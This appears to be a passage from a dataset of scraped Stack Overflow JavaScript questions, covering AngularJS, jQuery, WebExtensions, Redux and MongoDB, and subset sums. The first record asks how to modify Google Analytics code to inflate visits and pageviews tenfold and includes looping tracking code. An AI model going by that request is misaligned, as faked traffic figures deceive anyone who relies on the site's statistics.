will now spawn multiple visits and visitors when you run it . You can see that the second number on __utma changes for every pageview , that number is the visitorId , when it changes it means you get a new visitorThe problem is that the stats I get now look like this : Visits : 1,785 Unique Visitors : 1,781 Pageviews : 2,188 Pages / Visit : 1.23 Avg . Visit Duration : 00:00:03 Bounce Rate : 96.13 % % New Visits : 99.78 % Please not the extreme decrease in avg . visit duration ! before they were similar to this : Visits : 135Unique Visitors : 118Pageviews : 383Pages / Visit : 2.84Avg . Visit Duration : 00:04:22Bounce Rate : 57.78 % % New Visits : 68.89 % Now my question : How would I need to modify the G. Analytics Code ( if at all posible ) to make it look similar to this : Visits : 135 * 10 = 1350Unique Visitors : 118 * 10 = 1180Pageviews : 383 * 10 = 3830Pages / Visit : 2.84Avg . Visit Duration : 00:04:22Bounce Rate : 57.78 % % New Visits : 68.89 % so basically increase the amount of Visits , Unique Visitors , Pageviews 10 fold yet leave the other stats the same.Examples on http : //jsfiddle.net are greatly welcomedPS : sorry for my bad English ( not my mother tongue ) var _gaq = _gaq || [ ] ; _gaq.push ( [ '_setAccount ' , 'UA-19629541-5 ' ] ) ; _gaq.push ( [ '_setAllowHash ' , false ] ) ; _gaq.push ( [ ' b._setAccount ' , 'UA-19629541-5 ' ] ) ; _gaq.push ( [ ' b._setAllowHash ' , true ] ) ; for ( var i=0 ; i < =10 ; i++ ) { _gaq.push ( [ '_trackPageview ' ] ) ; _gaq.push ( [ ' b._trackPageview ' ] ) ; } ( function ( ) { var ga = document.createElement ( 'script ' ) ; ga.type = 'text/javascript ' ; ga.async = true ; ga.src = ( 'https : ' == document.location.protocol ? 'https : //ssl ' : 'http : //www ' ) + '.google-analytics.com/ga.js ' ; var s = document.getElementsByTagName ( 'script ' ) [ 0 ] ; s.parentNode.insertBefore ( ga , s ) ; } ) ( ) ;",Javascript Analytics Code Manipulation ( G. Analytics ) "JS : I have a string that is in ALL caps originally and I want it to be title case : THIS IS MY STRING WHY AM I YELLLING ? And I want it to be : This Is My String Why Am I Yelling ? I ca n't use css text-transform : capitalize when the letters are in CAPS initially . So I know I have to use JS . I tried this , which works but I 'm not sure it 's very efficient : And now that my letters are actually lowercase , I use CSS text-transform : capitalize . Is there a more efficient way to do this ? ( I 'm already using jQuery on the site , so that 's why I 've used it above . ) Thanks ! $ ( '.location ' ) .each ( function ( ) { var upper = $ ( this ) .html ( ) ; var lower = upper.toLowerCase ( ) ; $ ( this ) .replaceWith ( lower ) ; } ) ;",Most efficient way to turn all caps into title case with JS or JQuery ? "JS : I 've following jquery ui autocomplete , that grabs data from google places ... Problem I 'm having is that , once user starts going through the list of suggests via up and down arrows , original input also appears at the end . I want to remove this original input , otherwise if user hits enter form saves without forcing selection ... // Autocomplete location with google places API $ ( `` # edit_profile .location '' ) .autocomplete ( { source : function ( request , response ) { $ .ajax ( { url : `` /words/lib/ajax.php '' , type : `` GET '' , data : `` autocomplete_location=1 & term= '' + request.term , cache : false , success : function ( resp ) { try { json = $ .parseJSON ( resp ) ; } catch ( error ) { json = null ; } // if ( json & & json.status == `` OK '' ) { // response ( $ .map ( json.predictions , function ( item ) { return { label : item.description , value : item.description } } ) ) ; // } } } ) ; } , minLength : 1 , change : function ( event , ui ) { if ( ! ui.item ) { $ ( this ) .val ( `` '' ) ; } } } ) ;",jquery ui autocomplete with google places - force selection and remove original input while moving up down arrows "JS : I have a simple login form with 2 input fields : `` username '' and `` password '' . `` username '' field is focused by default . The problem is that when user clicks outside `` username '' or `` password '' fields , the focus is gone ( it is neither on `` username '' nor on `` password '' fields '' ) . How can I force the focus to be on these 2 fields only ? In my case , this is a really annoying behavior , so I really want to do this : ) Can I do something like : ? $ ( `` * '' ) .focus ( function ( ) { if ( ! $ ( this ) .hasClass ( `` my_inputs_class '' ) ) { // How to stop the focusing process here ? } } ) ;",How not to lose focus on a login page "JS : I have an array with some integer values , and I need to get a subset of them that gives me the maximum sum that is inferior to a given value.So let 's say I have this array : I would like to get a subset of this array that maximize the sum but is inferior to a limit given by the user , let 's say 250 . In this case it should return [ 139 , 40 , 29 ] .I had a look at this question and related answer , and tried to use the code given , but I did n't understand it very well . Anyway I 've tried it , setting the min to 0 and the max to the limit given , but it keeps returning me `` 5 '' that is not correct , since the limit is like 300 and the numbers in my array are all over 50.I could n't find anything that could help me , so I 'm asking if anyone could give me some code or pseudocode to understand how to do this . [ 40 , 138 , 29 , 450 ]",javascript - find subset that gives maximum sum under a certain limit ( subset sum ) JS : A dynamic property : This is of course very fancy . But where could someone use this without adding unnecessary complexity ? var obj = { // Computed ( dynamic ) property names [ 'prop_ ' + ( ( ) = > 42 ) ( ) ] : 42 } ;,Real use case dynamic ( computed ) property "JS : Problem : I started using angular.js for my project and during development I noticed that controller sometimes does n't load , so I tried removing parts of the project until the smallest possible example but the problem still remains.Code : index.htmlapp.jsNote : '' INIT '' part always gets displayed in console . Altough `` SCOPE '' part sometimes ( or most of the time ) does n't so the input field does n't get filled.Versions : Chrome : 36.0.1985.125Angular.js : 1.3.14 < ! DOCTYPE html > < html lang= '' en '' > < head > < title > Test < /title > < /head > < body ng-app= '' myApp '' > < div ng-controller= '' TestController '' > < input ng-model= '' testText '' type= '' text '' placeholder= '' Enter text '' > < /div > < script src= '' /static/js/angular.js '' > < /script > < script src= '' /static/js/app.js '' > < /script > < /body > < /html > console.log ( `` INIT '' ) ; angular.module ( 'myApp ' , [ ] ) .controller ( 'TestController ' , [ ' $ scope ' , function ( $ scope ) { $ scope.testText = '172.17.2.1 ' ; console.log ( `` SCOPE '' ) ; } ] ) ;",Simple angular.js example sometimes does n't load "JS : Firefox Quantum finally released on November 14 , 2017 . Quoting from this link : In the past , you could develop Firefox extensions using one of three different systems : XUL/XPCOM overlays , bootstrapped extensions , or the Add-on SDK . By the end of November 2017 , WebExtensions APIs will be the only way to develop Firefox extensions , and the other systems will be deprecated.Using Firefox 57 Quantum and Web Extensions APIs , I want to make an extension that is capable of running on multiple screens . This extension would be used to show multiple screens dashboards.The idea of it was so simple . If two or more screens are detected , every Firefox starting up then opens a new window for every monitor in full screen mode . I can do full screen , but facing issues to open on another monitor and detect how many monitors are attached . Using browser.windows API to create another new tab , here 's some snippet code : Obviously , my solution above is hard-coded for two monitors and sets left parameter to 1366 px , hence this solution will not work properly if the screen resolution not equal to 1366x768 or if there are more than two monitors attached.Thus , is there any API or better approach to detect how many monitors are attached and also check their resolution ? Does Web Extension APIs have a feature for detecting multiple monitors and resolution values ? If not , what are possible workarounds ? getCurrentWindow ( ) .then ( ( currentWindow ) = > { let mirror1 = browser.windows.create ( { url : `` http : //172.20.12.211:8080/ivi '' , state : `` fullscreen '' } ) ; mirror1.then ( ( ) = > { browser.windows.remove ( currentWindow.id ) ; var updateInfo = { state : `` fullscreen '' } ; let mirror2 = browser.windows.create ( { url : `` http : //172.20.12.211:8080/ivi '' , state : `` fullscreen '' } ) ; mirror2.then ( ( nextWindow ) = > { var updateInfo = { left : 1366 } ; browser.windows.update ( nextWindow.id , updateInfo ) ; } ) ; } ) ; } ) ;",Firefox Web Extensions APIS for Multiple Monitor and Full Screen "JS : I have a MongoDB/Webpack/NodeJS Express set up in my ReactJS + Redux project . I am making API calls from action creators in redux , and reach the API server and get a successful status back , yet the data never gets saved and the database never gets created even checking with in terminal mongo - > dbs and it does n't show practicedb database which I named it as.What could be the issue ? Am I missing something ? Any guidance or insight would be greatly appreciated . Thank youThis is my set up for API : And my API controller is set up as such : Configuration for the API : The project so far just has an input text field , where it accepts an email address . If the email has already been registered , the API should return the error That email address is already in use . and it does.So I tried console logging to see what the problem is , and the first time I submit the POST request , it logs the following ( the terminal showing API console logs ) : And if I try to submit the same email again , it throws me the API error that the email is already in use with 422 error , yet the data do not get saved and database ( practicedb ) never get created : Also , what is the OPTIONS request that shows up in terminal ? I only made an attempt to POST . Lastly , is OPTIONS why the ERROR log in API server is not logging in chronological order ? EDIT import axios from 'axios ' ; import { browserHistory } from 'react-router ' ; import cookie from 'react-cookie ' ; import { AUTH_USER , AUTH_ERROR } from './types ' ; const API_URL = 'http : //localhost:3000/api ' ; export function errorHandler ( dispatch , error , type ) { let errorMessage = ( error.data.error ) ? error.data.error : error.data ; // NOT AUTHENTICATED ERROR if ( error.status === 401 ) { errorMessage = 'You are not authorized to do this . ' ; } dispatch ( { type : type , payload : errorMessage } ) ; } export function registerUser ( { email } ) { return function ( dispatch ) { axios.post ( ` $ { API_URL } /auth/register ` , { email } ) .then ( response = > { console.log ( 'THIS IS TESTING PURPOSE ' ) console.log ( response ) dispatch ( { type : AUTH_USER } ) ; } ) .catch ( ( error ) = > { errorHandler ( dispatch , error.response , AUTH_ERROR ) } ) ; } } `` use strict '' ; const User = require ( '../models/user ' ) exports.register = function ( req , res , next ) { const email = req.body.email ; console.log ( 'ERROR 1 ' ) if ( ! email ) { return res.status ( 422 ) .send ( { error : 'You must enter an email address . ' } ) console.log ( 'ERROR 1 ' ) } User.findOne ( { email : email } , function ( err , existingUser ) { if ( err ) { return next ( err ) ; } console.log ( 'ERROR 2 ' ) if ( existingUser ) { return res.status ( 422 ) .send ( { error : 'That email address is already in use . ' } ) } console.log ( 'ERROR 3 ' ) let user = new User ( { email : email , } ) console.log ( 'ERROR 4 ' ) user.save ( function ( err , user ) { if ( err ) { return next ( err ) ; } console.log ( 'ERROR 5 ' ) res.status ( 201 ) .json ( { user : user , } ) } ) } ) console.log ( 'ERROR 6 ' ) } module.exports = { 'database ' : 'mongodb : //localhost/practicedb ' , 'port ' : process.env.PORT || 3000 , 'secret ' : 'dogcat ' , }",ReactJS + Redux : Why is n't MongoDB saving data to the database even with correct API requests ? JS : I just like to ask what the title says . The following string required into HTML script tags ? If I do n't use them what would happen ? < ! -- // -- >,JavaScript < ! -- // -- > are required ? "JS : I often use the following code to clear the content of an element : But I found a stange behaviour on Internet Explorer . It seems that all children of the div get their own children removed too ! If I keep a reference to a child of the div above , after doing div.innerHTML = `` '' ; , the child 's text node is no longer in the child.The following code is the proof of this behaviour ( http : //jsfiddle.net/Laudp273/ ) : If you click on the `` Add Marker '' button twice , you will see an empty yellow rectangle instead of one with the texte `` Hello wordl ! `` .Is this a bug or a specification not used by Firefox nor Google Chrome ? div.innerHTML = `` '' ; function createText ( ) { var e = document.createElement ( `` div '' ) ; e.textContent = `` Hello World ! `` ; return e ; } var mrk = document.createElement ( `` div '' ) ; mrk.appendChild ( createText ( ) ) ; mrk.style.border = `` 4px solid yellow '' ; var container = null ; function addDiv ( ) { if ( container ) { container.innerHTML = `` '' ; } var e = document.createElement ( `` div '' ) ; e.appendChild ( mrk ) ; container = e ; document.body.appendChild ( e ) ; } var btn = document.createElement ( `` button '' ) ; btn.textContent = `` Add marker '' ; btn.addEventListener ( `` click '' , function ( ) { addDiv ( ) ; } , false ) ; document.body.appendChild ( btn ) ;",Is there a bug in Internet Explorer 9/10 with innerHTML= '' '' ? "JS : I am pretty new to Ramda and functional programming and trying to rewrite a script with Ramda but am unsure of how to handle errors with Ramda in a clean way . This is what I have , does anyone have any pointers with how to rewrite this in a functional way using Ramda ? For reference , these are the values of header and targetColumnsSo I need to : map over targetColumnsreturn the indexOf the targetColumn from headerthrow an error if the index is -1 const targetColumnIndexes = targetColumns.map ( h = > { if ( header.indexOf ( h ) == -1 ) { throw new Error ( ` Target Column Name not found in CSV header column : $ { h } ` ) } return header.indexOf ( h ) } ) const header = [ 'CurrencyCode ' , 'Name ' , 'CountryCode ' ] const targetColumns = [ 'CurrencyCode ' , 'Name ' ]",How to handle errors in Ramda JS : Let 's say I have a variable nested deeply within a massive object which I re-use quite often : Would it be faster to cache it in a new variable outside of the loop ? and use that cached variable in my loop ? For the less visually oriented : Are JavaScript variables cached automatically or does the browser have to search through the larger variable each time it 's requested ? i = 10000000 ; while ( i ) { i -- ; document.write ( bigobject.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p ) ; } v = bigobject.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p document.write ( v ) ;,JavaScript : is it faster to cache deeply nested variables ? "JS : I need to created a responsive triangle using css and html . The triangle will comprise of text and as the text would increase I want the size of triangle to also increase . Below is the fiddle which I have created . fiddleI checked the follow links but it seems the triangle shape is different and the text does not seem to wrap . Text starts overflowing.Link1 and link2Thanks , Hardik < div class= '' wrapper '' > < div class= '' top-layer-content banner-notch '' > < /div > < a class= '' icon-play fa fa-play-circle-o '' rel= '' lightbox '' href= '' # '' > < p > See it in action < /p > < /a > < div > .wrapper { position : relative ; } .banner-notch { width : 0 ; height : 0 ; border-bottom : 220px solid # 000 ; border-left : 220px solid transparent ; filter : alpha ( opacity=50 ) ; opacity : 0.6 ; color : white ; position : relative ; float : right ; } .wrapper a { position : absolute ; top:130px ; right:20px ; color : white ; text-decoration : none ; font-size:25px ; background-position:0 50px ; } .wrapper .fa-play-circle-o : before { padding-left:38px ; } .wrapper p { font-size:16px ; }",Create responsive triangle with text "JS : I am implementing an Hybrid mobile application in which I have to represent our Desktop application written in C # .When rounding off a value , the value differs between Desktop and Mobile application.ExampleCode used in C # : Code used in JS : How can I change the JS code to represent the value as in C # .Note : We can make C # to represent the value as in JS , using Math.Round ( 7060.625 , 2 , MidpointRounding.AwayFromZero ) ; But I have no option to change in there.EDIT 1Rounding off decimals is not fixed . It is chosen by user in mobile application . Math.Round ( 7060.625 , 2 ) ; // prints 7060.62Math.Round ( 7060.624 , 2 ) ; // prints 7060.62Math.Round ( 7060.626 , 2 ) ; // prints 7060.63 + ( 7060.625 ) .toFixed ( 2 ) ; // prints 7060.63 ( value differs ) + ( 7060.624 ) .toFixed ( 2 ) ; // prints 7060.62+ ( 7060.626 ) .toFixed ( 2 ) ; // prints 7060.63",How to apply C # equivalent rounding method in Javascript "JS : My Pie chart but actually i want this type of chart I want to display dynamically label and label values in pie chart using chart js but according to my code which i have written , it display all label in one label . I do n't know where is the issue in my code.I do n't know as much about js . Please guide me.Thanks in advance . $ ( `` # get_data '' ) .click ( function ( ) { var employees = $ ( `` # employees '' ) .val ( ) ; //var fairs = $ ( `` # fairs '' ) .val ( ) ; $ .ajax ( { url : 'php_script/chart_values.php ' , method : 'POST ' , data : { employees : employees } , success : function ( data ) { var obj = JSON.parse ( data ) ; var a = obj [ 0 ] ; // labele data `` Negotiation on proposal '' , '' Won '' , '' Contracted '' , '' Intersted '' , var b = obj [ 1 ] ; // label values `` 100 '' , '' 90 '' , '' 70 '' var labeldata ; for ( i=0 ; i < a.length ; i++ ) { // loop to fetch label data one by one labeldata += [ a ] [ i ] ; } console.log ( labeldata ) ; var chart = new CanvasJS.Chart ( `` chartContainer '' , { title : { //text : `` Worldwide Smartphone sales by brand - 2012 '' , fontSize:15 } , axisY : { title : `` Products in % '' } , legend : { verticalAlign : `` center '' , horizontalAlign : `` right '' } , data : [ { type : `` pie '' , showInLegend : true , toolTipContent : `` { label } < br/ > { y } % '' , indexLabel : `` { y } % '' , dataPoints : [ { label : [ labeldata ] , y:19 // dispaly lable data here } /* { label : `` Apple '' , y : 19.1 , legendText : `` Apple '' } , { label : `` Huawei '' , y : 4.0 , legendText : `` Huawei '' } , { label : `` LG '' , y : 3.8 , legendText : `` LG Electronics '' } , { label : `` Lenovo '' , y : 3.2 , legendText : `` Lenovo '' } , { label : `` Others '' , y : 39.6 , legendText : `` Others '' } */ ] } ] } ) ; chart.render ( ) ; } } ) ; } ) ;",How to display dynamically label and values of label in pie chart using chart.js ? "JS : I have created one app , where user can draw anything on canvas . I have added background image to canvas . I want canvas to cover the remaining space on screen . Hence I kept width and height in percent . Issue - Now whenever I draw something on canvas , it wo n't follow accurate position of mouse/touch on screen . If I draw below it will draw near about 20px up from touch . ( Not sure about how much pixel up but its my assumption ) Please go-through below code.1 . HTML2 . CSS3 . TS fileNeed help , how do I draw the accurate points of touch on canvas ? < ion-row > < canvas no-bounce ( touchstart ) ='handleStart ( $ event ) ' ( touchmove ) ='handleMove ( $ event ) ' ( click ) = '' removeSelectedTxt ( ) '' [ ngStyle ] = '' { 'background ' : 'url ( ' + selectedImage + ' ) no-repeat center center fixed ' , '-webkit-background-size ' : 'contain ' , '-moz-background-size ' : 'contain ' , '-o-background-size ' : 'contain ' , 'background-size ' : 'contain ' , 'width ' : '98 % ' , 'height ' : '65 % ' } '' # canvas > < /canvas > < /ion-row > canvas { display : block ; border : 1px solid # 000 ; position : fixed ; top : 10 % ; left : 1 % ; } import { Component , ViewChild , ElementRef } from ' @ angular/core ' ; @ ViewChild ( 'canvas ' ) public canvas : ElementRef ; this.canvasElement = this.canvas.nativeElement ; handleStart ( ev ) { this.lastX = ev.touches [ 0 ] .pageX ; this.lastY = ev.touches [ 0 ] .pageY ; } handleMove ( ev ) { let ctx = this.canvasElement.getContext ( '2d ' ) ; let currentX = ev.touches [ 0 ] .pageX ; let currentY = ev.touches [ 0 ] .pageY ; ctx.beginPath ( ) ; ctx.lineJoin = `` round '' ; ctx.moveTo ( this.lastX , this.lastY ) ; ctx.lineTo ( currentX , currentY ) ; ctx.closePath ( ) ; ctx.strokeStyle = this.currentColour ; ctx.lineWidth = this.brushSize ; ctx.stroke ( ) ; this.lastX = currentX ; this.lastY = currentY ; }",Ionic 3 - Canvas draw is not perfect as per mouse/touch position "JS : I 'm developing a text based adventure game with Meteor and I 'm running into an issue with how to handle certain elements . Namely , how to emit data from the Server to the Client without any input from the Client.The idea is that when a player is engaged in combat with a monster , the combat damage and updating the Player and Monster objects will be occurring in a loop on the server . When the player takes damage it should accordingly update the client UI . Is something like this possible with Publish / Subscribe ? I basically want something that sits and listens for events from the server to update the combat log accordingly.In pseudo-code , this is something along the lines of what I 'm looking for : I understand that you can publish a collection to the client , but that 's not really as specific of a function I 'm looking for , I do n't want to publish the entire Player object to the client , I just want to tell the client to write a line to a textbox saying something like `` You were hit for 12 damage by a monster ! `` .I was hoping there was a function similar to SocketIO where I could , if I wanted to , just emit an event to the client telling it to update the UI . I think I can use SocketIO for this if I need to , but people seemed to be adamant that something like this was doable with Meteor entirely without SocketIO , I just do n't really understand how.The only outs I see to this scenario are : writing all of the game logic client-side which feels like a bad idea , writing all of the combat logs to a collection which seems extremely excessive ( but maybe it 's not ? ) , or using some sort of SocketIO type-tool to just emit messages to the client to tell it to write a new line to the text box . // Client Side : Meteor.call ( `` runCommand '' , `` attack monster '' ) ; // Server SideMeteor.methods ( { runCommand : function ( input ) { // Take input , run the loop to begin combat , // whenever the user takes damage update the // client UI and output a line saying how much // damage the player just received and by who } } ) ;",Streaming data from the Server to Client with Meteor : "JS : I 'm working on an Angular library and looking for a way to extend a directive using the decorator pattern : What would be the best way to augment the original directive using this pattern ? ( Example usage : to have additional watches or extra event listeners on the directive without modifying it 's code directly ) . angular.module ( 'myApp ' , [ ] ) .decorator ( 'originaldirectiveDirective ' , [ ' $ delegate ' , function ( $ delegate ) { var originalLinkFn ; originalLinkFn = $ delegate [ 0 ] .link ; return $ delegate ; } ] ) ;",How can I augment a directive 's link function with angular 's decorator pattern ? "JS : I need some help with translating the following CouchDB views from javascript to erlang . I need them in erlang , because in javascript the view uses all of the available stack memory and crashes couchjs ( see this bugreport https : //issues.apache.org/jira/browse/COUCHDB-893 ) .The current map functions I have in javascript are : sync/transaction_keysand sync/transcationAn example document would be : Basically sync/transaction_keys emits all keys of the transaction dictionary and sync/transaction does emit all entries in the transaction dictionary.Unfortunately I never used Erlang before and I need to rewrite that code pretty soon , so any help is very welcomed.Thanks in advance . function ( doc ) { if ( doc.doc_type == `` Device '' ) { for ( key in doc.transactions ) emit ( key , null ) ; } } function ( doc ) { if ( doc.doc_type == `` Device '' ) { for ( key in doc.transactions ) { t = doc.transactions [ key ] ; t.device = doc.device ; emit ( key , t ) ; } } } { `` _id '' : `` fcef7b5c-cbe6-31af-8363-2b446a7e4cf2 '' , `` _rev '' : `` 3-c90abd075404a75744fd3e5e4f04ebad '' , `` device '' : `` fcef7b5c-cbe6-31af-8363-2b446a7e4cf2 '' , `` doc_type '' : `` Device '' , `` transactions '' : { `` 79fe8630-c0c0-30c6-9913-79b2f93e3e6e '' : { `` timestamp '' : 1309489169533 , `` version '' : 10008 , `` some_more_data '' : `` more_data '' } `` e4678930-c465-76a6-8821-75a3e888765a '' : { `` timestamp '' : 1309489169533 , `` version '' : 10008 , `` some_more_data '' : `` more_data '' } } }",Translate CouchDB javascript views to erlang "JS : When using Angular components with styleUrl and separate stylesheet files , every CSS selector will be scoped to it 's component in the output.Now let 's say I want to define a rule , that when a article is followed by another specific component , the later one needs a margin-top . In this case , when a article-card is followed by a article-group element.The markup would be something like this : Both will contain a div with a specific class you 'll see in the following examples.I tried something like this : And like this : But both does n't work because the browser output of the markup will be like this when Angular compiles it : And the outputting CSS scoped like this : Maybe it needs some combination of : host-context or : host , but even then I never got my selectors to apply to the correct context.So is there a way to use the Adjacent Sibling CSS Selector in Angular stylesheets ? < article-group [ topArticlesOnly ] = '' true '' [ articles ] = '' homepage.top | slice:0:6 '' > < /article-group > < article-card *ngFor= '' let article of homepage.top | slice:0:6 '' [ article ] = '' article '' > < /article-card > [ article-card ] + [ article-group ] { margin-top : 20px ; } article-card + article-group { margin-top : 20px ; } .article-card + .article-group { margin-top : 20px ; } < div _ngcontent-c3= '' '' > < article-card _ngcontent-c3= '' '' _nghost-c4= '' '' ng-reflect-article= '' [ object Object ] '' ng-reflect-show-image-only= '' true '' > < article _ngcontent-c4= '' '' class= '' article-card article-card -- top-article article-card -- image-only '' ng-reflect-klass= '' article-card '' ng-reflect-ng-class= '' [ object Object ] '' > < /article > < /article-card > < article-group _ngcontent-c3= '' '' _nghost-c5= '' '' ng-reflect-articles= '' [ object Object ] , [ object Object '' ng-reflect-top-articles-only= '' true '' > < div _ngcontent-c5= '' '' class= '' article-group article-group -- top '' > < /div > < /article-group > < /div > [ article-card ] [ _ngcontent-c5 ] + [ article-group ] [ _ngcontent-c5 ] { margin-top : 30px ; } article-card [ _ngcontent-c5 ] + article-group [ _ngcontent-c5 ] { margin-top : 30px ; }",How do I use the CSS Adjacent sibling selector in Angular ? "JS : I have a recursive object in my Aurelia view model that looks like this : Therefore , I 'd like to use a recursive template in my Aurelia view . It will only be used in one place , so I would rather use a template literal . Here 's some pseudocode that does n't work : Is this a feature of Aurelia ? Class BottomlessPit { Name : string = `` ; MorePits : BottomlessPit [ ] = null ; } < template name= '' pit '' > < li > $ { Name } < compose view.bind= '' pit '' repeat.for= '' subpit of MorePits '' > < /compose > < /li > < /template >",Aurelia - Inline definition of HTML-only custom element "JS : I just added Flow to my Create-React-App project , and while converting some of my calculation code to flow-typed , I encountered this error with a destructured `` object as params '' Original sig : After flow-type : And the error : Is there a way to use flow with object destructuring in this way or should I redesign these function APIs ? calcWeightOnConveyor ( { tonsPerHour , conveyorLength , conveyorSpeed } ) calcWeightOnConveyor ( { tonsPerHour : number , conveyorLength : number , conveyorSpeed : number } ) : number $ flowError : src/utils/vortex/calculate.js:31 31 : export function calcWeightOnConveyor ( { tonsPerHour : number , conveyorLength : number , conveyorSpeed : number } ) { ^^^^^^ Strict mode function may not have duplicate parameter names",Combining object destructuring with flow-typing "JS : Say I have something like this : How can I change the last valueto I 've tried , editingetc . | -- -- -- | -- -- -- | -- -- -- | -- -- -- | -- -- -- | -- -- -- | -- -- -- | -- -- -- |0 10 20 30 40 50 60 70 80 80 > 80 .tickValues ( ) ; .domain ( )",How do you change the last tick value in D3.js ? "JS : I can set styles in the style options object for stripeBut I want to transfer styles to css.This example does not apply my styles , only those that apply to the containerin cssHow do i transfer styles to css ? var elementStyles = { base : { textAlign : 'center ' , fontWeight : 400 , fontSize : '12px ' , color : ' # 333 ' } } ; var stripe = stripeElements.elements ( ) ; cardNumberStripeElement = stripe.create ( 'cardNumber ' , { styles : elementStyles } ) ; var elementClasses = { base : 'card-info-base ' } ; var stripe = stripeElements.elements ( ) ; cardNumberStripeElement = stripe.create ( 'cardNumber ' , { classes : elementClasses } ) ; .card-info-base { text-align : center `` does not work '' ; font-weight : 400 `` does not work '' ; font-size : 12px `` does not work '' ; height : 100px `` works '' }",Stripe elements style setting in css "JS : I am trying to determine if my node process is running in a git directory . The following works , but is still outputting a fatal error in the console.When in a directory under the control of git , I get true as the result . But when outside of a directory under the control of git , I get : My question ( s ) : Is there a way to suppress the error being logged ? Or is there a better way to determine if I am in a directory under git control ? Essentially , I am trying to do the bash equivalent of function testForGit ( ) { try { var test = execSync ( 'git rev-parse -- is-inside-work-tree ' , { encoding : 'utf8 ' } ) ; } catch ( e ) { } return ! ! test ; } console.log ( testForGit ( ) ) ; fatal : Not a git repository ( or any of the parent directories ) : .gitfalse if git rev-parse -- git-dir > /dev/null 2 > & 1 ; then ... do somethingfi",Use node.js to determine if in git directory "JS : I asked a question similar to this earlier , but it did not solve my issue and was explained poorly.This time I 've made illustrations to hopefully explain better.I have a simple frequency spectrum analyser for my audio player . The frequencies are stored in an array that gets updated on each requestAnimationFrame , the array looks like this : Read more about getByteFrequencyData here.So this works fine however I would like the frequencies to be evenly spaced throughout the spectrum . Right now it 's displaying linear frequencies : As you can see , the dominating frequency range here is the Treble ( High end ) , and the most dominated frequency range is the bass range ( low end ) . I want my analyser presented with evenly distributed frequency ranges like this : Here you see the frequencies evenly spaced across the analyser . Is this possible ? The code I used for generating the analyser looks like this : Take note that I am skipping 8 bars ( See canmultiplier at the top ) in the for loop ( If I do n't , the other half of the analyser gets rendered outside the canvas because it 's too big . ) I do n't know if this is also what could be causing the inconsistent frequency ranges . fbc_array = new Uint8Array ( analyser.frequencyBinCount ) ; analyser.getByteFrequencyData ( fbc_array ) ; // These variables are dynamically changed , ignore them.var canbars = 737var canmultiplier = 8var canspace = 1// The analyservar canvas , ctx , source , context , analyser , fbc_array , bars , bar_x , bar_width , bar_height ; function audioAnalyserFrame ( ) { 'use strict ' ; var i ; canvas.width = $ ( 'analyser- ' ) .width ( ) ; canvas.height = $ ( 'analyser- ' ) .height ( ) ; ctx.imageSmoothingEnabled = false ; fbc_array = new Uint8Array ( analyser.frequencyBinCount ) ; analyser.getByteFrequencyData ( fbc_array ) ; ctx.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; // Clear the canvas ctx.fillStyle = `` white '' ; // Color of the bars bars = canbars ; for ( i = 0 ; i < bars ; i += canmultiplier ) { bar_x = i * canspace ; bar_width = 2 ; bar_height = -3 - ( fbc_array [ i ] / 2 ) ; ctx.fillRect ( bar_x , canvas.height , bar_width , bar_height ) ; } window.requestAnimationFrame ( audioAnalyserFrame ) ; } function audioAnalyserInitialize ( ) { 'use strict ' ; var analyserElement = document.getElementById ( 'analyzer ' ) ; if ( analyserElement ! == null & & audioViewIsCurrent ( ) === true ) { if ( analyserInitialized === false ) { context = new AudioContext ( ) ; source = context.createMediaElementSource ( audioSource ) ; } else { analyser.disconnect ( ) ; } analyser = context.createAnalyser ( ) ; canvas = analyserElement ; ctx = canvas.getContext ( '2d ' ) ; source.connect ( analyser ) ; analyser.connect ( context.destination ) ; if ( analyserInitialized === false ) { audioAnalyserFrame ( ) ; } analyserInitialized = true ; analyser.smoothingTimeConstant = 0.7 ; } }",Get logarithmic byteFrequencyData from Audio "JS : I just created an angular2 project with the latest angular-cli tool . I now want to get the ace editor up and running using the ng2-ace library . I want to do it in a clean approach using SystemJS as the module loader.I did then I added the following two lines to angular-cli-builds.js to the vendorNpmFiles arraythen I added the following to system-config.tsNow I tried importing the directive from a componentThis makes the compiler ng serve aborting with the following error : I tried to follow the Readme from angular-cli and got the google material design library working . However , I do n't know what I do wrong when trying to load the ng2-ace library . npm install -- save ng2-ace 'ng2-ace/index.js ' , 'brace/**/*.js const map : any = { 'ng2-ace ' : 'vendor/ng2-ace ' , 'brace ' : 'vendor/brace ' } ; /** User packages configuration . */ const packages : any = { 'brace ' : { format : 'cjs ' , defaultExtension : 'js ' , main : 'index.js ' } , 'ng2-ace ' : { format : 'cjs ' , defaultExtension : 'js ' , main : 'index.js ' } } ; import { AceEditorDirective } from 'ng2-ace ' ; The Broccoli Plugin : [ BroccoliTypeScriptCompiler ] failed with : Error : Typescript found the following errors : Can not find module 'ng2-ace ' .",Integrate the ng2-ace library into a freshly created angular-cli ( angular2 ) project using SystemJS "JS : I 'm trying to display dynamically changeable data manipulating with DOM elements ( adding/removing them ) . I found out a very strange behavior of almost all browsers : after I removed a DOM element and then add a new one the browser is not freeing the memory taken by the removed DOM item . See the code below to understand what I mean . After we run this page it 'll eat step-by-step up to 150 MB of memory . Can anyone explain me this strange behavior ? Or maybe I 'm doing something wrong ? < ! DOCTYPE HTML PUBLIC `` -//W3C//DTD HTML 4.0 Transitional//EN '' > < html > < head > < script type= '' text/javascript '' > function redrawThings ( ) { // Removing all the children from the container var cont = document.getElementById ( `` container '' ) ; while ( cont.childNodes.length > = 1 ) { cont.removeChild ( cont.firstChild ) ; } // adding 1000 new children to the container for ( var i = 0 ; i < 1000 ; i++ ) { var newDiv = document.createElement ( 'div ' ) ; newDiv.innerHTML = `` Preved medved `` + i ; cont.appendChild ( newDiv ) ; } } < /script > < style type= '' text/css '' > # container { border : 1px solid blue ; } < /style > < /head > < body onload='setInterval ( `` redrawThings ( ) '' , 200 ) ; ' > < div id= '' container '' > < /div > < /body > < /html >",Cyclic adding/removing of DOM nodes causes memory leaks in JavaScript ? "JS : I must show a set of images that depend on each other . For example I have a javascript object like this : I need to get all my image names ordered by their dependencies . The result of this example could be any of these : I 've tried using the Array.sort ( ) function like this : But is not working properly . How can this be done ? Image A depends on no one Image B depends on A Image C depends on A and B Image D depends on F Image E depends on D and C Image F depends on no one const imageDependencies = { A : [ ] , B : [ ' A ' ] , C : [ ' A ' , ' B ' ] , D : [ F ] , E : [ 'D ' , ' C ' ] , F : [ ] } // so first yo get the value of A . Once you have it you can get the value of B . Once you have the value of A and B you can get C , and so onresult_1 = [ 